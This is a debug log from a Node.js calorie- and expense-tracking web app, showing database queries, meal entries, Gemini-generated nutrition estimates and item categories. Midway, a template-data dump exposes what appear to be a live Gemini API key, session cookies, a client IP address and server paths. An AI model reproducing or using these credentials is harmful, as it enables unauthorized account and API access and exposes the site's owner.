2025-12-17T04:32:16.001Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T04:32:16.001Z server-connect:app Executing action step select
2025-12-17T04:32:16.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T04:32:16.002Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  }
]
2025-12-17T04:32:16.002Z server-connect:app Executing action step setvalue
2025-12-17T04:32:16.002Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T04:32:16.002Z server-connect:output var_total: 202
2025-12-17T04:32:16.002Z server-connect:app Executing action step setvalue
2025-12-17T04:32:16.002Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T04:32:16.003Z server-connect:output var_consumed: 8
2025-12-17T04:32:16.003Z server-connect:app Executing action step setvalue
2025-12-17T04:32:16.003Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T04:32:16.003Z server-connect:output var_deficit: 2198
2025-12-17T04:32:16.003Z server-connect:app Executing action step custom
2025-12-17T04:32:16.003Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T04:32:16.004Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '202',
    surplus_or_deficit: '2198',
    status_flag: 2
  }
]
2025-12-17T04:32:16.613Z server-connect:app Executing action step identify
2025-12-17T04:32:16.613Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:16.613Z server-connect:output identity: 1
2025-12-17T04:32:19.921Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T04:32:19.921Z server-connect:app Executing action step identify
2025-12-17T04:32:19.921Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:19.921Z server-connect:output identity: 1
2025-12-17T04:32:19.922Z server-connect:app Executing action step restrict
2025-12-17T04:32:19.922Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:19.922Z server-connect:output restrict: undefined
2025-12-17T04:32:19.922Z server-connect:app Executing action step processWithGemini
2025-12-17T04:32:19.922Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T04:32:28.332Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Banana',
      quantity: '1 (approx 100g edible portion, medium size)',
      total_calories: 89,
      protein: 1.1,
      carbs: 22.8,
      fat: 0.3,
      unit_of_macro: 'grams',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
    }
  ],
  total_summary: {
    total_calories: 89,
    total_protein: 1.1,
    total_carbs: 22.8,
    total_fat: 0.3,
    unit_of_macro: 'grams'
  }
}
2025-12-17T04:32:32.933Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T04:32:32.933Z server-connect:app Executing action step identify
2025-12-17T04:32:32.933Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:32.933Z server-connect:output identity: 1
2025-12-17T04:32:32.934Z server-connect:app Executing action step restrict
2025-12-17T04:32:32.934Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:32.934Z server-connect:output restrict: undefined
2025-12-17T04:32:32.934Z server-connect:app Executing action step condition
2025-12-17T04:32:32.934Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T04:32:32.934Z server-connect:app Executing action step repeat
2025-12-17T04:32:32.934Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T04:32:32.934Z server-connect:app Executing action step insert
2025-12-17T04:32:32.934Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T04:32:32.935Z server-connect:output calories: { affected: 1, identity: 420 }
2025-12-17T04:32:32.935Z server-connect:output repeat: [ {} ]
2025-12-17T04:32:32.935Z server-connect:output condition: undefined
2025-12-17T04:32:33.214Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T04:32:33.214Z server-connect:app Executing action step identify
2025-12-17T04:32:33.214Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.215Z server-connect:output identity: 1
2025-12-17T04:32:33.215Z server-connect:app Executing action step restrict
2025-12-17T04:32:33.215Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:32:33.215Z server-connect:output restrict: undefined
2025-12-17T04:32:33.216Z server-connect:router Render template layouts/main
2025-12-17T04:32:33.216Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14df0-CEZCwUNnqlaBE63UzUo/MzmlZYg"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14df0-CEZCwUNnqlaBE63UzUo/MzmlZYg"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T04:32:33.432Z server-connect:app Executing action step identify
2025-12-17T04:32:33.432Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.433Z server-connect:output identity: 1
2025-12-17T04:32:33.902Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T04:32:33.903Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T04:32:33.904Z server-connect:app Executing action step identify
2025-12-17T04:32:33.905Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.905Z server-connect:output identity: 1
2025-12-17T04:32:33.905Z server-connect:app Executing action step restrict
2025-12-17T04:32:33.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:33.908Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T04:32:33.908Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T04:32:33.909Z server-connect:output restrict: undefined
2025-12-17T04:32:33.909Z server-connect:app Executing action step select
2025-12-17T04:32:33.909Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T04:32:33.910Z server-connect:app Executing action step identify
2025-12-17T04:32:33.910Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.910Z server-connect:output identity: 1
2025-12-17T04:32:33.910Z server-connect:app Executing action step restrict
2025-12-17T04:32:33.910Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:33.911Z server-connect:app Executing action step identify
2025-12-17T04:32:33.911Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.911Z server-connect:output identity: 1
2025-12-17T04:32:33.911Z server-connect:app Executing action step restrict
2025-12-17T04:32:33.911Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.911Z server-connect:output restrict: undefined
2025-12-17T04:32:33.911Z server-connect:app Executing action step single
2025-12-17T04:32:33.911Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T04:32:33.911Z server-connect:app Executing action step identify
2025-12-17T04:32:33.911Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:33.911Z server-connect:output identity: 1
2025-12-17T04:32:33.911Z server-connect:app Executing action step restrict
2025-12-17T04:32:33.911Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:33.912Z server-connect:output restrict: undefined
2025-12-17T04:32:33.913Z server-connect:app Executing action step single
2025-12-17T04:32:33.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T04:32:33.915Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T04:32:33.916Z server-connect:output restrict: undefined
2025-12-17T04:32:33.916Z server-connect:app Executing action step single
2025-12-17T04:32:33.916Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T04:32:33.916Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be focused on post-workout recovery with a protein supplement. However, the overall dietary intake seems very limited, with few food items listed. Continued adherence to this pattern may hinder muscle development and optimal fat loss.",
    bad_points: [
      'Very limited food variety and quantity, suggesting low overall nutrient intake.',
      'Lack of substantial meals to support energy levels and muscle repair.',
